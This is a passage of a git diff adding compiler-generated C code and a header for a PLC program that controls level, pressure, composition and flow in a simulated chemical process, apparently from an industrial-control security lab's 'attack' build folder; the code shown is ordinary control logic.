LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void 